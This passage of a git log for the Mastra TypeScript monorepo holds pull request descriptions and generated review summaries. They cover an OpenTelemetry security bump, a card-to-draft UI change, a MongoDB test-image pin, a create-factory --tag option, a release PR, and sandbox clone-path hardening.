resolve to fixed versions on `main`.

### Advisories

| Item | Package | Advisory | Status |
| --- | --- | --- | --- |
| SEC-323 | `@opentelemetry/resources` <2.12.1 / >=3.0.0 <3.1.1 |
GHSA-qrww-3xmv-qhgm | **Fixed in this PR** |
| SEC-262 | `fastify` 5.12.6 → 5.12.8 | AIKIDO-2026-576509 | Already
fixed on `main`. Every lockfile resolves `fastify@5.12.8` and the direct
specifiers are `^5.12.7` / `5.12.8` |
| SEC-243 | `@opentelemetry/core` 1.30.1 → 2.8.0 | GHSA-8988-4f7v-96qf |
Already fixed on `main`. No lockfile has `@opentelemetry/core@1.x`; only
2.9.0+/2.12.x/3.x are present, all at or above the fixed 2.8.0, so no
major bump is needed |
| SEC-252 | `follow-redirects` 1.16.1 → 1.16.2 | — | Already fixed on
`main`. Only `follow-redirects@1.16.2` is present outside templates |

`hono` and `templates/template-mongodb-bedrock-agent` are out of scope
because other sessions are handling them.

### Changes (SEC-323)

- **Direct bumps:** `@opentelemetry/resources` `^2.12.0` → `^2.12.1` in
`@mastra/arize`, `@mastra/laminar` and `@mastra/otel-exporter`.
- **Root overrides** (`pnpm-workspace.yaml`), scoped to the affected
ranges: `@opentelemetry/resources@>=2.0.0 <2.12.1 → 2.12.1` and
`@opentelemetry/resources@>=3.0.0 <3.1.1 → 3.1.1`. Older OTel SDK lines
(0.207 / 0.211 / 0.220 / 0.300, via third-party deps) pin `resources` to
an exact version, and both fixes are patch releases in the same major.
- **Nested example lockfiles** get the same scoped overrides:
- `observability/_examples/otel-bridge/agent-hub`: also changes the
pinned direct `2.10.0` to `2.12.1`.
- `observability/_examples/otel-bridge/hono-multi`: also raises
`instrumentation`'s `^2.0.1` to `^2.12.1`.
- `examples/durable-agents`: added to `package.json` `pnpm.overrides`,
because this project runs pnpm 10.
- As a side effect, `@opentelemetry/core` moves to 2.12.1 / 3.1.1, the
versions those `resources` releases depend on. No other resolutions
changed.
- A changeset for the three published packages.

## Test plan

- [x] `pnpm why @opentelemetry/resources -r`: only `2.12.1` and `3.1.1`
remain (previously 2.2.0, 2.5.0, 2.9.0, 2.12.0, 3.0.0).
- [x] Nested lockfiles (`durable-agents`, `agent-hub`, `hono-multi`) now
resolve only `@opentelemetry/resources@2.12.1`.
- [x] `pnpm turbo build --filter=@mastra/arize...
--filter=@mastra/laminar... --filter=@mastra/otel-exporter...`: 19/19
tasks pass.
- [x] Tests pass: `@mastra/arize` (27), `@mastra/laminar` (6),
`@mastra/otel-exporter` (187), `@mastra/otel-bridge` (52, a transitive
consumer).

Fixes SEC-323
Ref SEC-262
Ref SEC-243
Ref SEC-252


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Some tools send app performance data with an OpenTelemetry
library that has a known security bug. This change updates those tools
and example projects to fixed versions, so the bug no longer applies.

## Summary

This change updates `@opentelemetry/resources` to address advisory
GHSA-qrww-3xmv-qhgm. It changes 15 files, with 581 lines added and 355
removed.

### Published packages

Four published packages receive patch changesets: `@mastra/arize`,
`@mastra/arthur`, `@mastra/laminar`, and `@mastra/otel-exporter`.

- `@mastra/arize` raises `@opentelemetry/core`,
`@opentelemetry/resources`, and `@opentelemetry/sdk-trace-base` from
`^2.12.0` to `^2.12.1`. It raises the OTLP trace exporter from
`^0.223.0` to `^0.223.1`.
- `@mastra/laminar` sets `@opentelemetry/resources` and
`@opentelemetry/sdk-trace-base` to `^2.12.1`. It sets
`@opentelemetry/exporter-trace-otlp-proto` to `^0.223.1`.
- `@mastra/otel-exporter` raises the core, resources, trace SDK, and
Zipkin packages from `^2.12.0` to `^2.12.1`. It raises the logs SDK and
OTLP log and trace exporters from `^0.223.0` to `^0.223.1`.
- `@mastra/arthur` raises `@opentelemetry/core` and
`@opentelemetry/sdk-trace-base` from `^2.12.0` to `^2.12.1`. It raises
`@opentelemetry/exporter-trace-otlp-proto` from `^0.223.0` to
`^0.223.1`.
- `.changeset/otel-resources-sec-323.md` contains the patch changesets
for these four packages. It states the minimum raised versions. It says
that older SDK or OTLP exporter versions can resolve to
`@opentelemetry/resources` 2.12.0, which GHSA-qrww-3xmv-qhgm affects. It
advises projects with direct OpenTelemetry dependencies to check for
`@opentelemetry/resources` 2.12.1 or later on the 2.x line, or 3.1.1 or
later on the 3.x line.

### Root workspace

- `pnpm-workspace.yaml` adds two overrides:
- `@opentelemetry/resources` versions `>=2.0.0 <2.12.1` resolve to
`2.12.1`.
- `@opentelemetry/resources` versions `>=3.0.0 <3.1.1` resolve to
`3.1.1`.

### Example projects

- `examples/durable-agents/package.json` adds the same two version
constraints under `pnpm.overrides`. The existing `glob` override is
unchanged.
- `observability/_examples/otel-bridge/agent-hub/`:
- `package.json` changes `@opentelemetry/resources` from `2.10.0` to
`2.12.1`.
- `pnpm-workspace.yaml` adds the same two overrides, with a comment that
cites the advisory.
- `observability/_examples/otel-bridge/hono-multi/`:
- `instrumentation/package.json` changes `@opentelemetry/resources` from
`^2.0.1` to `^2.12.1`.
- `pnpm-workspace.yaml` adds the same two overrides, with a dated
security comment.

### Lockfiles

- The root `pnpm-lock.yaml` and the nested lockfiles for
`durable-agents`, `agent-hub`, and `hono-multi` change to match these
ranges and overrides.
- The author reports that `@opentelemetry/core` also moves to 2.12.1 and
3.1.1. The lockfile contents were not inspected for this summary.

## Validation

The author reports these results. This review did not rerun them. No
completed CI results were available for this review.

- `pnpm why @opentelemetry/resources -r` shows only `2.12.1` and
`3.1.1`.
- Nested lockfiles for `durable-agents`, `agent-hub`, and `hono-multi`
resolve only `2.12.1`.
- `pnpm turbo build` for the published packages and their dependencies
passed 19/19 tasks.
- Tests passed for `@mastra/arize` (27), `@mastra/laminar` (6),
`@mastra/otel-exporter` (187), and `@mastra/otel-bridge` (52).

## Scope notes

- The author reports that the `fastify` (SEC-262), `@opentelemetry/core`
(SEC-243), and `follow-redirects` (SEC-252) advisories were already
resolved on `main`. This change does not address them.
- The `hono` project and `templates/template-mongodb-bedrock-agent` are
out of scope.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: shreyas-mastra <shreyas@mastra.ai>
2026-11-16 18:33:08 -05:00
Damien Schneider
4dc0519fec
feat(factory-ui): a card opens its session, or a draft that starts one (#30481)
**─────── TLDR ───────**
> Clicking a card now opens its session, or a draft page built like one
when the card has none; the expanded card view is gone.

Stacked on #30475. Before, clicking a card grew it into an expanded copy
over the board (a details dock beside the list), and the card carried
Open session or Start session pills. Now the card is a link: to the
thread of the session it shows, else to `/cards/:id`, which opens a
fresh draft with the card's stage bar, its suggested next steps and the
composer. The draft creates nothing until the first message or a
suggested step.

### Behavior changed

clicking a card, on the board, in the list or in the search palette
&nbsp;&nbsp;├─ **was** — opened the expanded card or the details dock;
from search, an unstarted card moved into its next phase or created a
session straight away
&nbsp;&nbsp;└─ **now** — opens the thread of the card's session; a card
without one opens the card draft, and nothing moves or starts

the card draft
&nbsp;&nbsp;└─ **new** — the session page's layout: the card's title,
its stage bar in the header, its suggested steps as buttons
(Investigate, Accept, Move to…) and the repository picker when the card
could live in several, naming the provider when two share a name; the
first message creates a session bound to the card, then opens its
thread; a failed start keeps the message on the draft, and the next send
reuses the session it left; a missing model or credential shows the same
guard as New session

the card's badge row
&nbsp;&nbsp;├─ **was** — Open session or Start session pills, and the
source links only in the expanded card
&nbsp;&nbsp;└─ **now** — no session pills; the card's own issue or pull
request and each attached one lead the row, and a `Session` badge marks
a card that holds one

Back from a session to a cached board
&nbsp;&nbsp;├─ **was** — the board could show empty: its groups mounted
before the scroll surface they measure against
&nbsp;&nbsp;└─ **now** — the cards show at once

list rows
&nbsp;&nbsp;├─ **was** — a details button swapped in on hover, and a
wide gap sat between the avatar and the time
&nbsp;&nbsp;└─ **now** — the title is the link, and the time column fits
"just now", left-aligned

### Shape changed

| | | |
|---|---|---|
| **−** | `WorkItemDetailsPanel` · `CardDetailsPanel` ·
`BoardDetailsDock` · `WorkItemTray` · `CardSessions` ·
`WorkItemDescription` · `WorkItemExternalLink` · `cardMorph.css` | the
expanded card and the list's details dock |
| **−** | `useCardMorph` · `useOpenCardState` · `BoardOpenCardContext` ·
`BoardRowDetailsContext` · `BoardDetailsDockContext` ·
`useBoardScrollRef` | which card was open, and the scroll ref |
| **−** | `useBoardRuns` · `useStartFactoryRun` · `sessionLink` ·
`onCreateSession` | starting a session from the board; the draft starts
it now |
| **−** | `openCard` on `useBoardPhasesQuery` | the board no longer
reads an open card out of a deep phase |
| **−** | `cardSessionPath` · `CardSourceDescription` · `timelineEvents`
| helpers only the expanded card used, or a second copy of `threadPath`
|
| **+** | `CardDraftPage` · `CardDraftActions` ·
`useStartCardSessionFromDraft` · `useCardSessionRepository` ·
`DraftSessionStartContext` | the card draft and its start |
| **+** | `cardSessionRepository` | where a session can start: resolved,
a choice, or unavailable with why |
| **+** | `cardControls` | a card's state and buttons, shared by the
board card and the draft |
| **+** | `WorkItemUpstreamLinks` · `SessionBadge` | the badge row's
links, minus a pull request a related card already links, and the badge
|
| **+** | `workItemQueryOptions` · `queryKeys.workItem` | one card by
id, for the draft |
| **+** | `cardPath` · `cardDraftPath` · `threadPath` | the card and
thread URLs; every thread link but `attention.ts`'s encoded one now goes
through `threadPath` |
| **+** | `cardSourceMetadata` | the provider's facts over the card's
own, used by every repository choice |
| **~** | `DraftStart` · `useDraftModelGuards` | moved out of `NewPage`,
so both drafts show the same guards |
| **~** | `Composer` · `ChatSessionProvider` · `ModelPicker` | treat a
card draft as a draft, not only a person's own |
| **~** | `BoardScrollContext` | holds the scroll element in state
instead of a ref: the groups render again once it attaches |
| **~** | `SessionChatSurface` | owns the chat column class, and a
notice no longer ends the empty state: an empty thread keeps its
greeting, the draft its card and steps |
| **~** | `FactoryGlobalSearchContent` | selecting a card opens it; no
move or busy refusal on select |

- `mastracode/factory-ui/src/ui/`
- └─ `router.tsx` — `cards/:workItemId` redirects to
`cards/:workItemId/new/:draftSessionId`, a new draft each visit
  - └─ `pages/CardDraftPage.tsx` — the draft
  - └─ `domains/chat/components/DraftStart.tsx` — out of `NewPage.tsx`

### Decisions

- **a card without a session opens a draft, not a session** — a click no
longer creates a sandbox nobody asked for; the draft waits for a message
or a step. Undo: point `cardPath` at a start.
- **the card's session starts before its thread opens** — the draft
waits for the create and the start, then opens the thread of the session
the server returned. The server reuses a person's session on the card's
branch, so the id is known only after the create; New session still
opens its thread first. Undo: open the thread first again once one
server request finds or creates the card's session and binds it.
- **the expanded card's description and session list stay in the
session** — the session's panel shows the description and its header
menu switches between the card's sessions; a card without a session has
neither on its draft. Undo: render `CardDescription` in the draft.

### Watch

> [!WARNING]
> A GitHub or GitLab card filed by someone without write access
<mark>can't start its session from the draft</mark>, on main too:
creating the session puts its thread on the Factory's memory, so binding
the untrusted card throws `UntrustedSharedSessionError`, an uncaught
500. The draft shows the error and keeps the message. Reproduced against
the start coordinator in a throwaway scenario test. Not fixed here: the
fix is one server request that finds or creates the card's session and
binds it.

### Not verified

- [x] the draft rendered in the e2e harness, light and dark, with one
and two repositories
- [x] Back onto a cached board, in a throwaway Playwright repro
- [ ] starting a session from the card draft against a running Factory;
covered by the MSW suite only
- [ ] screenshots

---

> ████████████████████ **source** `+1354 −1970` — the expanded card and
the board's session start are most of the deletions
> █████████████ **tests** `+674 −1464` — the expanded-card,
start-from-board and move-from-search tests left with that code
> ██ **styles** `+42 −230` — `cardMorph.css` out, the pill stack's CSS
in its own file
> █ **e2e** `+3 −26`


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: Clicking a card now opens that card's chat session. If the card
has no session yet, the click opens a new draft page. The draft starts a
session after the user sends a message or picks a suggested step.

## Overview

This change makes card clicks open a session or a draft. It removes the
expanded card view and the board-based session start.

- Card click opens the card's existing session. If none exists, it opens
a draft page at `cards/:workItemId/new/:draftSessionId`.
- The draft starts a session only after a message or a suggested step.
- After a successful start, the draft opens the thread that the server
returns.
- If a start fails, the draft keeps the first message. A later send
reuses the session from the failed attempt.
- The draft uses the session page layout. It shows the card title, stage
bar, suggested steps, and a repository picker when needed.
- Missing-model and missing-credential guards are shared with New
session (`useDraftModelGuards`, `DraftStart`).
- Card badge rows link to the card's own and attached upstream items
(`WorkItemUpstreamLinks`). A `Session` badge appears when a session
exists.

## Main changes

- **Routing:** `router.tsx` adds the draft route and lazy-loads
`CardDraftPage`. `routeLoaders.ts` adds `prefetchCardDraft`.
`factoryPaths.ts` adds `threadPath`, `cardDraftPath`, and `cardPath`.
- **Draft page:** `CardDraftPage.tsx` is new. It redirects to an
existing session for the current stage. Otherwise it shows the guarded
draft start.
- **Draft start:** `useStartCardSessionFromDraft.ts` is new. It resolves
the repository, creates a session on the item branch, starts a chat
work-item run, and navigates to the returned thread.
- **Repository resolution:** `boardRepository.ts` adds
`cardSessionRepository` and `firstEnvironmentRepository`.
`useCardSessionRepository.ts` is new.
- **Chat:** `Composer.tsx`, `ChatSessionProvider.tsx`, `Chat.tsx`, and
`DraftSessionStartContext.ts` treat card drafts as drafts.
`DraftStart.tsx` is new. `SessionChatSurface.tsx` and `ModelPicker.tsx`
change accordingly.
- **Card state:** `cardControls.ts` is new. `cardPrimaryAction.ts` drops
session-link inputs and actions. It returns `undefined` when no action
applies.
- **Board UI:** `WorkItemCard.tsx`, `WorkItemListRow.tsx`,
`BoardListRow.tsx`, and `WorkItemCardRows.tsx` use card URLs and a
card-level overlay link. They drop the details-panel flow.
- **Data:** `useWorkItems.ts` drops the `openCard` parameter. It adds
`workItemQueryOptions` and `useWorkItemQuery`. `keys.ts` adds
`queryKeys.workItem`.
- **Scroll:** `BoardScrollContext` now holds an element.
`useBoardScrollElement.ts` is new. `boardVirtualScroll` takes an
element.

## Removed

- Details and session UI: `CardDetailsPanel`, `WorkItemDetailsPanel`,
`WorkItemTray`, `WorkItemDescription`, `WorkItemExternalLink`,
`CardSessions`, `BoardDetailsDock`, and `cardMorph.css`.
- Open-card state: `BoardOpenCardContext`, `BoardRowDetailsContext`,
`useBoardOpenCard`, `useBoardRowDetails`, `useOpenCardState`,
`useBoardScrollRef`, and `useCardMorph`.
- Board-based session start: `useStartFactoryRun.ts` and
`useBoardRuns.ts`.
- Helpers: `sessionLink` and `timelineEvents`.
- Tests: MSW tests for the removed flows. Several remaining tests now
assert links, labels, or the draft route instead of the details dialog.

## Verification status

- The author reports that the draft rendered in the e2e harness in light
and dark themes, with one and two repositories.
- The author reports that returning to a cached board was checked in a
throwaway Playwright repro.
- Starting a session from the draft against a running Factory was not
verified. Screenshots were not taken.
- Session start is covered only by the MSW suite.
- CI status: not available.

## Known unresolved issue

- A card filed by a user without write access can fail to start a
session. Binding the card raises `UntrustedSharedSessionError`.
- The draft shows the error and keeps the message.
- The author reproduced this in a throwaway scenario test. This PR does
not fix it.

## Scope

- Diff: 91 files changed, +2009 / -3715 lines.
- Commit messages describe follow-up handling for deleted sessions and
cards in related links and board rows. They also describe keeping
renames and deletions visible while sorting, and resetting sidebar
session-window depth on factory switch or board-setting change.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 15:23:56 -08:00
Tyler Barnes
55010c0670
test(mongodb): pin store-test MongoDB back to 7.0.45 so it starts on CI runners (#30597)
## Summary

Every `Combined Store Tests / test (mongodb)` job is failing before any
test runs. The `mongo:9.0.8` container exits on startup:

> MongoDB cannot start: Linux kernel versions 6.19.0 through 7.0.13 have
a known incompatibility with this version of MongoDB. See
https://jira.mongodb.org/browse/SERVER-121912

The CI runners now run Linux kernel 6.19.14 (reported by mongod in the
job log). MongoDB's compatibility matrix in
[SERVER-125742](https://jira.mongodb.org/browse/SERVER-125742) lists
only 7.0 as supported on kernels 6.19 to 7.0.13. Of the later lines,
8.0.0–8.0.20 crash after about a minute; 8.0.21+, 8.3.x and 9.0.x exit
at startup. 8.2 has no startup check but crash-loops on 6.19
([SERVER-122741](https://jira.mongodb.org/browse/SERVER-122741)).

`stores/mongodb/docker-compose.yaml` was already pinned to
`mongo:7.0.45` for this reason, with a comment saying not to move back
to 8.x. The Docker images update in #19788 bumped it to 9.0.8 before the
runners reached the affected kernel.

## Changes

- `stores/mongodb/docker-compose.yaml`: `mongodb-storage` and
`mongodb-fidelity` go back to `mongo:7.0.45`.
- `renovate.json`: a rule keeps the Docker `mongo` image below 8, so the
next Docker images update does not undo the pin. Remove it once MongoDB
ships a release that starts on these kernels.

The `mongodb-vector` service (`mongodb/mongodb-atlas-local:8.2`) is
unchanged. The vector tests rely on its features. It may still be
affected on these kernels: in the failing run it started but was torn
down within a second, so its behaviour under a full run is unverified.

## Test plan

- `pnpm test` in `stores/mongodb` against `mongo:7.0.45`: 15 files
passed, 5 skipped (1,186 tests passed, 314 skipped). The fidelity suite
passed 2 files (62 tests passed, 1 skipped).
- Not reproduced locally: the local Docker kernel is 7.0.14, outside the
affected range. The red evidence is the CI job log.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: The MongoDB test database was set to a version that does not start
on the CI computers. This change sets it back to an older version that
does start. It also adds a rule so automatic updates do not move it
forward again.

## Summary

This pull request pins the MongoDB store-test images to `mongo:7.0.45`.
It also adds a Renovate rule that keeps the `mongo` Docker image below
version 8. The `mongodb-vector` service is not changed.

### Changes

- `stores/mongodb/docker-compose.yaml`:
- Changes the image for `mongodb-storage` and `mongodb-fidelity` from
`mongo:9.0.8` to `mongo:7.0.45`.
- Renames the `mongodb-storage` data volume from `mongodbdata-v7` to
`mongodbdata-mongo7`. The comment states that mongod 7.x cannot open a
data directory from a newer major version. The old volume may hold 9.0.8
data. The new name avoids a "Wrong mongod version" failure. The change
does not delete existing data.
- Adds a named volume, `mongodbfidelity-mongo7`, for `mongodb-fidelity`
at `/data/db`. Before this change, that service used an anonymous
volume, which could reuse data from a 9.0.8 container.
- Updates the comment above `mongodb-storage`. It states that MongoDB
8.x refuses to start on Linux kernel 6.19+ (SERVER-121912). It also
states that the image must not return to 8.x until MongoDB ships a
patched TCMalloc.
- Replaces the top-level `mongodbdata-v7` volume entry with
`mongodbdata-mongo7` and adds `mongodbfidelity-mongo7`.
- `renovate.json`: Adds a package rule for datasource `docker` and
package name `mongo` with `allowedVersions: "<8"`. The rule description
states that MongoDB 8.x and 9.0.8 do not start on Linux kernel 6.19.0
through 7.0.13 (SERVER-121912). It also states that the rule should be
removed when MongoDB ships a release that starts on those kernels.

Diff size: 2 files changed, 18 lines added, 6 lines removed.

### Context

The commit message states that a Renovate Docker major-version update
replaced the `mongo:7.0.45` pin with `9.0.8`. This change restores the
pin and adds the Renovate rule so the next Docker update does not undo
it.

### Test results

The PR author reports these results. They were not run as part of this
review:

- `pnpm test` in `stores/mongodb` on `mongo:7.0.45`: 15 files passed
(1,186 tests), 5 files skipped (314 tests).
- Fidelity suite: 2 files passed (62 tests), 1 test skipped.

The author did not reproduce the failure locally. The local Docker
kernel is 7.0.14, which is outside the affected range. The reported
failure evidence is the CI job log. The behavior of `mongodb-vector`
during a full run on affected kernels is not verified.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-16 16:02:59 -07:00
mastra-platform[bot]
208cbc218c
feat(create-factory): add --tag to pin Mastra packages to an npm dist-tag (#30598)
> Opened by @DSchau

## Summary

The Factory templates (`template-factory`,
`template-factory-self-hosted`) list `mastra` and `@mastra/*` under the
`latest` dist-tag. Because of that, `create-factory` had no way to
scaffold a project on prerelease packages.

This PR adds a `--tag <dist-tag>` option. It pins every `mastra` /
`@mastra/*` dependency in the scaffolded `package.json` to the exact
version that npm dist-tag points to. It works with any tag: `alpha`,
`latest` (gives exact stable versions instead of the floating `latest`
spec), `beta`, and so on.

```sh
npx create-factory@latest my-factory --tag alpha
```

How it works: the template is cloned and renamed as before. Then each
Mastra package's dist-tags are fetched in parallel with `npm view <pkg>
dist-tags --json`, and the exact versions are written into
`package.json`. This happens before install. Templates don't need any
changes, and custom `--template` repos work too.

- If a package has no release under the tag, it keeps the template's
version spec and you get a warning.
- If none of the packages resolve (for example, the tag doesn't exist or
the registry can't be reached), the run fails before install with a
clear error.
- **npm + prerelease versions:** when any pinned version is a
prerelease, an npm project also gets `legacy-peer-deps=true` in its
`.npmrc`. Without it, npm rejects the install. Under semver's prerelease
rules, a peer range like `>=1.83.0-0 <2.0.0-0` (from
`@mastra/pg@1.37.0-alpha.1`) does not match
`@mastra/core@1.84.0-alpha.3`. pnpm only warns about this, so pnpm
projects don't get the `.npmrc` line.

Analytics records the tag as `version_tag`: `latest` and `alpha` are
sent as-is, and any other tag is sent as `custom`. Custom tags are also
redacted from failure telemetry.

## Test plan

- [x] Unit tests in `src/create.test.ts`:
- pinning with the `alpha`, `latest`, and custom (`beta`) tags; only
Mastra packages are looked up
  - pinning happens before install
- a package with no release under the tag keeps its template spec, with
a warning
  - no lookups happen without `--tag`
  - the run fails before install when nothing resolves
  - `.npmrc` is written only for npm with prerelease pins
- [x] `pnpm test` (70 passed), `tsc --noEmit`, `oxlint`, and `--help`
output checked
- [x] Ran `pinMastraPackages` against the real registry on the
self-hosted template's `package.json`:
- `alpha` → `@mastra/core@1.84.0-alpha.3`,
`@mastra/factory@0.29.0-alpha.4`, `mastra@1.39.1-alpha.3`, …
- `latest` → stable versions; `npm install --package-lock-only` succeeds
- `alpha` fails with `ERESOLVE` under plain npm and resolves with
`legacy-peer-deps`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Projects made with `create-factory` can now get Mastra
packages at the exact versions from a chosen npm tag, such as `alpha` or
`latest`. This lets users try a specific release channel without editing
the project by hand.

## Overview

This change adds a `--tag <dist-tag>` option to `create-factory`. When
the option is set, the tool pins each `mastra` and `@mastra/*`
dependency to the version published under that npm dist-tag. The pinning
runs after the template is cloned and renamed. It runs before
dependencies are installed.

## Behavior

- Only `mastra` and `@mastra/*` entries in `dependencies`,
`devDependencies`, and `optionalDependencies` change.
- Only own properties of these entries are replaced.
- Each distinct matching package is resolved once, in sorted order.
- Version lookups run `npm view` from the scaffolded project directory.
They use the same npm configuration and registry as installation.
- Lookups use a 15-second timeout. Lookup, parse, and command failures
count as unresolved.
- A package with no release under the tag keeps its template version.
The tool reports it as unresolved and issues a warning.
- If no packages resolve and at least one is unresolved, the run fails
before installation.
- `package.json` is rewritten with two-space indentation and a trailing
newline.
- If the project uses npm and any pinned version contains `-` (a
prerelease), the tool appends `legacy-peer-deps=true` to `.npmrc`.
Existing content is kept. pnpm projects do not receive this setting.
- Without `--tag`, template versions stay unchanged and no lookup runs.
- The CLI trims the tag value. An empty value is treated as not set.
- Analytics records `latest` and `alpha` as given. Other tags are
recorded as `custom`. Custom tag names are redacted from failure
telemetry. The start event uses the same tag-normalization helper as
command telemetry, so raw custom tag names are not sent to analytics.

## Changed files

- `mastracode/mastra-factory/src/utils/versions.ts`: adds
`isMastraPackage`, the `PinResult` interface, `versionTagForAnalytics`,
and `pinMastraPackages`.
- `mastracode/mastra-factory/src/create.ts`: adds `versionTag?: string`
to `CreateArgs`, calls pinning before install, and adds the `.npmrc`
update.
- `mastracode/mastra-factory/src/index.ts`: adds the `--tag` CLI option
and the analytics and redaction handling.
- `mastracode/mastra-factory/src/create.test.ts`: adds tests for
pinning, lookup scope, install ordering, unresolved packages, failure
before install, `.npmrc` handling, and the no-tag path.
- `mastracode/mastra-factory/README.md`: documents `--tag` and shows an
`alpha` example.
- `.changeset/create-factory-tag-flag.md`: adds a minor changeset for
`create-factory`.

Six files changed, with 326 lines added and none removed.

## Validation

The following results are reported by the author. They were not re-run
for this summary:

- Unit tests covering tag pinning, fallback and failure behavior, lookup
timing, and `.npmrc` handling.
- `pnpm test`: 70 passed.
- `tsc --noEmit` and `oxlint`.
- A check of `--help` output.
- Real-registry check: `alpha` fails with `ERESOLVE` under plain npm and
resolves when `legacy-peer-deps` is set.

Review severity counts: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 22:48:25 +00:00
dane-ai-mastra[bot]
3c7d26e6ab
chore: version packages (alpha) (#30516)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases

> The changelog information of each package has been omitted from this
message, as the content exceeds the size limit.

## @mastra/factory@0.29.0-alpha.5


## mastra@1.40.0-alpha.4


## @mastra/core@1.84.0-alpha.4


## @mastra/playground-ui@69.1.0-alpha.4


## @mastra/libsql@1.31.0-alpha.2


## @mastra/pg@1.37.0-alpha.2


## @mastra/client-js@1.60.1-alpha.4


## @mastra/react@1.15.1-alpha.4


## @mastra/deployer-cloud@1.84.0-alpha.4


## @mastra/longmemeval@1.1.43-alpha.4


## @mastra/opencode@0.1.43-alpha.4


## create-factory@0.4.4-alpha.4


## @mastra/code-sdk@1.19.1-alpha.5


## mastracode@0.50.1-alpha.5


## @mastra/deployer@1.84.0-alpha.4


## @mastra/mcp-apps-components@0.1.1-alpha.1


## @mastra/mcp-docs-server@1.3.14-alpha.4


## @mastra/server@1.84.0-alpha.4


## @mastra/redis-streams@0.9.0-alpha.2


## @mastra/elysia@0.1.24-alpha.4


## @mastra/express@1.5.28-alpha.4


## @mastra/fastify@1.5.28-alpha.4


## @mastra/hono@1.7.26-alpha.4


## @mastra/koa@1.7.28-alpha.4


## @mastra/nestjs@0.3.1-alpha.4


## @mastra/next@0.2.42-alpha.4


## @mastra/tanstack-start@0.2.42-alpha.4


## @mastra/convex@1.9.1-alpha.2


## @mastra/turso@0.1.22-alpha.2


## @mastra/inngest@1.11.3-alpha.0


## @mastra/temporal@0.6.1-alpha.4


## @mastra/platform-workspace@1.13.1-alpha.0


## create-mastra@1.40.0-alpha.4


## @internal/playground@1.40.0-alpha.4

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-16 23:44:41 +01:00
mastra-platform[bot]
9d22ca2813
fix(factory): harden board cache validators and clone checks (#30596)
<!-- CURSOR_AGENT_PR_BODY_BEGIN -->
## Description

Board listing and activity responses now name their cache validators
with SHA-256. A client that still holds an older validator reloads the
board once.

Sandbox clone, checkout, environment sync, push, and merge-request
refresh now refuse a repository name or clone URL whose path would
resolve to a different repository. They also refuse a default branch
that is not a valid git ref. Session checkout already used those ref
rules.

## Testing

- `mastracode/factory/src/routes/board-snapshot.test.ts` checks that
listing and activity validators match SHA-256 of the response body, and
that a change in session activity changes the validator.
- `mastracode/factory/src/integrations/github/sandbox.test.ts` checks
that clone, checkout, environment sync, push, and merge-request refresh
refuse a repository path or clone URL that would resolve to a different
repository. The rest of that file still passes, including self-hosted
GitLab subgroup clones.
- `pnpm --filter ./mastracode/factory check` passes.

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)

## Checklist

- [x] I have added tests that prove my fix is effective or that my
feature works
<!-- CURSOR_AGENT_PR_BODY_END -->

<div><a
href="https://cursor.com/agents/bc-540db48d-d0e6-535c-8c67-0a103289f04a?cursor_ref=pr_footer&cursor_cta=open_in_web"><picture><source
media="(prefers-color-scheme: dark)"
srcset="https://cursor.com/assets/images/open-in-web-dark.png"><source
media="(prefers-color-scheme: light)"
srcset="https://cursor.com/assets/images/open-in-web-light.png"><img
alt="Open in Web" width="114" height="28"
src="https://cursor.com/assets/images/open-in-web-dark.png"></picture></a>&nbsp;<a
href="https://cursor.com/background-agent?bcId=bc-540db48d-d0e6-535c-8c67-0a103289f04a&cursor_ref=pr_footer&cursor_cta=open_in_cursor"><picture><source
media="(prefers-color-scheme: dark)"
srcset="https://cursor.com/assets/images/open-in-cursor-dark.png"><source
media="(prefers-color-scheme: light)"
srcset="https://cursor.com/assets/images/open-in-cursor-light.png"><img
alt="Open in Cursor" width="131" height="28"
src="https://cursor.com/assets/images/open-in-cursor-dark.png"></picture></a>&nbsp;</div>



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: The change makes two things safer. Board pages now use a stronger
checksum to tell if their data changed. Sandbox Git actions now refuse
repository names and clone URLs that point to a different repository
than the one requested.

## Overview

This change updates board cache validators and sandbox repository checks
in `mastracode/factory`. It changes 6 files: +199 lines and −19 lines.
It also adds a patch changeset for `@mastra/factory`.

## Board cache validators

- `mastracode/factory/src/routes/board-snapshot.ts` replaces the
exported `sha1` function with `etagDigest`. `etagDigest` uses SHA-256
and encodes the result as base64url.
- `scopedSnapshot`, `hashedBody`, `namedBody`, and `snapshot` now call
`etagDigest` for their ETags.
- `mastracode/factory/src/routes/work-items.ts` imports `etagDigest`
instead of `sha1`. It uses the function to compute cached wire versions
for work-item cards.
- Clients with older validators receive a new validator. They reload the
board once.

## Sandbox repository checks

`mastracode/factory/src/integrations/github/sandbox.ts` adds these
helpers:

- `pathHasDotSegment(value)` returns true when a repository name or
clone URL contains a `.` or `..` path segment, after percent-decoding.
It also returns true for any backslash.
